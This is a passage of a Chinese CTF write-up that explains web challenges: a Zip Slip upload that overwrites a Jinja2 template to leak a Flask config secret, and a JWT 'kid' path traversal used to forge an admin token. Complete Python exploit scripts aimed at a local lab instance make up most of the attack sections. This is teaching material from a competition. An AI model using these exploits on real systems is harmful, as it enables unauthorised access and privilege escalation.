2026ZeroG-CTFWEB官方Write-up

admin 2026-06-08 05:04:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文为2026ZeroG-CTFWEB赛题官方Write-up,详细解析三道WEB题目解题思路。WEB-01通过Jinja2SSTI漏洞读取Flask配置密钥,伪造管理员Session获取flag;WEB-02利用ZipSlip路径穿越漏洞覆盖模板文件,通过主题包上传实现远程代码执行;WEB-03涉及JWT安全机制,通过kid参数操控密钥读取路径实现签名绕过。文档提供完整攻击代码和分步操作指南,涵盖SSTI、文件上传绕过、路径穿越等常见WEB漏洞实战技巧。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析,实战经验,安全工具


很明显存在 Zip Slip 路径穿越漏洞

照片墙模板 <font style="color:rgb(13, 13, 13);">gallery.html</font> 中有这样一段:

{% for photo in photos %}
&nbsp; &nbsp; {% include "theme/card.html" %}
{% endfor %}

说明只要覆盖 templates/theme/card.html ,然后访问/gallery就能触发我们写入的 Jinja2 模板

我们开始构造恶意 card.html

因为应用中将动态 flag 放入了 Flask config:

app.config["ZEROG_FLAG"] = FLAG

所以模板中可以直接读取这个:

{{ config['ZEROG_FLAG'] }}

恶意模板内容如下:

<div&nbsp;class="photo-card">
&nbsp; &nbsp;&nbsp;<h2>ZeroG Theme Loaded</h2>
&nbsp; &nbsp;&nbsp;<p>{{ config['ZEROG_FLAG'] }}</p>
</div>

构造恶意 ZIP关键点是 ZIP 内文件名必须是<font style="color:rgb(13, 13, 13);">../../templates/theme/card.html</font>

我们生成恶意 zip

import&nbsp;zipfile

payload =&nbsp;"""<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p>{{ config['ZEROG_FLAG'] }}</p>
</div>
"""

with&nbsp;zipfile.ZipFile("evil_theme.zip",&nbsp;"w", zipfile.ZIP_DEFLATED)&nbsp;as&nbsp;z:
&nbsp; &nbsp; z.writestr("../../templates/theme/card.html", payload)

上传 zip 后访问照片墙<font style="color:rgb(13, 13, 13);">/gallery</font>,就会得到 flag

完整利用 EXP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import&nbsp;io
import&nbsp;re
import&nbsp;zipfile
import&nbsp;requests

BASE_URL =&nbsp;"http://127.0.0.1:5000"

def&nbsp;build_payload_zip():
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; 构造 Zip Slip 主题包
&nbsp; &nbsp; ZIP 内部文件名:
&nbsp; &nbsp; &nbsp; &nbsp; ../../templates/theme/card.html

&nbsp; &nbsp; 覆盖:
&nbsp; &nbsp; &nbsp; &nbsp; /app/templates/theme/card.html
&nbsp; &nbsp; """
&nbsp; &nbsp; payload_template =&nbsp;"""<div class="photo-card">
<h2>ZeroG Theme Loaded</h2>
<p id="flag">{{ config['ZEROG_FLAG'] }}</p>
</div>
"""

&nbsp; &nbsp; bio = io.BytesIO()

&nbsp; &nbsp;&nbsp;with&nbsp;zipfile.ZipFile(bio,&nbsp;"w", zipfile.ZIP_DEFLATED)&nbsp;as&nbsp;zf:
&nbsp; &nbsp; &nbsp; &nbsp; zf.writestr("../../templates/theme/card.html", payload_template)

&nbsp; &nbsp; bio.seek(0)
&nbsp; &nbsp;&nbsp;return&nbsp;bio

def&nbsp;upload_theme(zip_file):
&nbsp; &nbsp; files = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"theme": ("evil_theme.zip", zip_file,&nbsp;"application/zip")
&nbsp; &nbsp; }

&nbsp; &nbsp; r = requests.post(
&nbsp; &nbsp; &nbsp; &nbsp; BASE_URL +&nbsp;"/theme/upload",
&nbsp; &nbsp; &nbsp; &nbsp; files=files,
&nbsp; &nbsp; &nbsp; &nbsp; allow_redirects=True,
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10
&nbsp; &nbsp; )

&nbsp; &nbsp; print("[+] upload status:", r.status_code)
&nbsp; &nbsp;&nbsp;return&nbsp;r.text

def&nbsp;get_flag():
&nbsp; &nbsp; r = requests.get(BASE_URL +&nbsp;"/gallery", timeout=10)
&nbsp; &nbsp; text = r.text

&nbsp; &nbsp; m = re.search(r"flag\{[^}]+\}", text)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; print(text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("flag not found in /gallery response")

&nbsp; &nbsp;&nbsp;return&nbsp;m.group(0)

def&nbsp;main():
&nbsp; &nbsp; print("[*] Building malicious theme zip...")
&nbsp; &nbsp; z = build_payload_zip()

&nbsp; &nbsp; print("[*] Uploading theme package...")
&nbsp; &nbsp; upload_theme(z)

&nbsp; &nbsp; print("[*] Visiting /gallery...")
&nbsp; &nbsp; flag = get_flag()

&nbsp; &nbsp; print("[+] FLAG:", flag)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

WEB-03

访问/api/docs

返回如图(这里 FeHelper 插件会自动美化 json)

 JWT header 里的 <font style="color:rgb(13, 13, 13);">kid</font> 可能参与验签密钥选择

解码 JWT Header,观察 kid用 Python 解码

import&nbsp;base64
import&nbsp;json

token =&nbsp;"xxxxxxxxN1最帅嘻嘻嘻"
header_b64 = token.split(".")[0]
header_b64 +=&nbsp;"="&nbsp;* (-len(header_b64) %&nbsp;4)
header = json.loads(base64.urlsafe_b64decode(header_b64))
print(json.dumps(header, indent=2))

发现使用算法HS256header 中有kid = "user.key"

我们开始审计源码,这个地方发现 kid 漏洞

app.py

def&nbsp;read_key_by_kid(kid: str)&nbsp;-> bytes:
&nbsp; &nbsp; key_path = KEY_DIR / kid
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;key_path.exists()&nbsp;or&nbsp;not&nbsp;key_path.is_file():
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;FileNotFoundError("key not found")
&nbsp; &nbsp;&nbsp;return&nbsp;key_path.read_bytes()

验证 Token 的时候:

def&nbsp;verify_token(token: str)&nbsp;-> dict:
&nbsp; &nbsp; header = jwt.get_unverified_header(token)
&nbsp; &nbsp; kid = header.get("kid", DEFAULT_KID)
&nbsp; &nbsp; key = read_key_by_kid(kid)
&nbsp; &nbsp; payload = jwt.decode(
&nbsp; &nbsp; &nbsp; &nbsp; token,
&nbsp; &nbsp; &nbsp; &nbsp; key,
&nbsp; &nbsp; &nbsp; &nbsp; algorithms=[JWT_ALG],
&nbsp; &nbsp; &nbsp; &nbsp; options={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"require": ["exp",&nbsp;"iat"],
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; )

可以看到服务器完全相信客户端传来的 kid,然后直接 KEY_DIR/kid 拼路径,没有过滤../存在目录穿越

也就是说,只要我在header把 kid 改成../static/mission.txt

服务端就会去读

/app/keys/../static/mission.txt &nbsp;=> /app/static/mission.txt

访问/static/mission.txt接口

返回ZeroG-Orbit-API-Public-Calibration-Key

里注意行末有换行

ctrl + s下来很容易就能看到

真正的 key 是b"ZeroG-Orbit-API-Public-Calibration-Key\n"(这里稳妥点的话可以用request.get(...).content,会自动保留\n)

这时候我们就可以来伪造管理员的 JWT 了

伪造一个 payload:

{
&nbsp;&nbsp;"username":&nbsp;"admin",
&nbsp;&nbsp;"role":&nbsp;"admin",
&nbsp;&nbsp;"iat": 当前时间,
&nbsp;&nbsp;"exp": 当前时间 +&nbsp;3600
}

header 设置为:

{
&nbsp;&nbsp;"alg":&nbsp;"HS256",
&nbsp;&nbsp;"typ":&nbsp;"JWT",
&nbsp;&nbsp;"kid":&nbsp;"../static/mission.txt"
}

然后用刚刚拿到的mission.txt内容做 HMAC 密钥签名

:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import&nbsp;time
import&nbsp;requests
import&nbsp;jwt

BASE_URL =&nbsp;"http://127.0.0.1:5000"

def&nbsp;get_public_key_material():
&nbsp; &nbsp; r = requests.get(BASE_URL +&nbsp;"/static/mission.txt", timeout=10)
&nbsp; &nbsp; r.raise_for_status()
&nbsp; &nbsp;&nbsp;return&nbsp;r.content &nbsp;# 保留末尾换行

def&nbsp;forge_admin_token(key_material: bytes)&nbsp;-> str:
&nbsp; &nbsp; now = int(time.time())

&nbsp; &nbsp; payload = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"username":&nbsp;"admin",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"role":&nbsp;"admin",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"iat": now,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"exp": now +&nbsp;3600,
&nbsp; &nbsp; }

&nbsp; &nbsp; headers = {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"typ":&nbsp;"JWT",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"alg":&nbsp;"HS256",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"kid":&nbsp;"../static/mission.txt",
&nbsp; &nbsp; }

&nbsp; &nbsp; token = jwt.encode(
&nbsp; &nbsp; &nbsp; &nbsp; payload,
&nbsp; &nbsp; &nbsp; &nbsp; key_material,
&nbsp; &nbsp; &nbsp; &nbsp; algorithm="HS256",
&nbsp; &nbsp; &nbsp; &nbsp; headers=headers,
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;return&nbsp;token

def&nbsp;get_flag(token: str):
&nbsp; &nbsp; r = requests.get(
&nbsp; &nbsp; &nbsp; &nbsp; BASE_URL +&nbsp;"/api/admin/flag",
&nbsp; &nbsp; &nbsp; &nbsp; headers={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Authorization":&nbsp;f"Bearer&nbsp;{token}"
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; )

&nbsp; &nbsp; print("[+] status:", r.status_code)
&nbsp; &nbsp; print("[+] response:", r.text)

&nbsp; &nbsp; r.raise_for_status()

&nbsp; &nbsp;&nbsp;return&nbsp;r.json()["flag"]

def&nbsp;main():
&nbsp; &nbsp; print("[*] Fetching public mission file...")
&nbsp; &nbsp; key_material = get_public_key_material()
&nbsp; &nbsp; print("[+] key material:", repr(key_material))

&nbsp; &nbsp; print("[*] Forging admin JWT...")
&nbsp; &nbsp; token = forge_admin_token(key_material)
&nbsp; &nbsp; print("[+] token:", token)

&nbsp; &nbsp; print("[*] Requesting admin flag...")
&nbsp; &nbsp; flag = get_flag(token)

&nbsp; &nbsp; print("[+] FLAG:", flag)

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

输出(动态 flag 哦)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Breaking-code 平平无奇 n1 平平无奇 n1《2026 ZeroG-CTF WEB 官方 Write-up》

    评论:0   参与:  0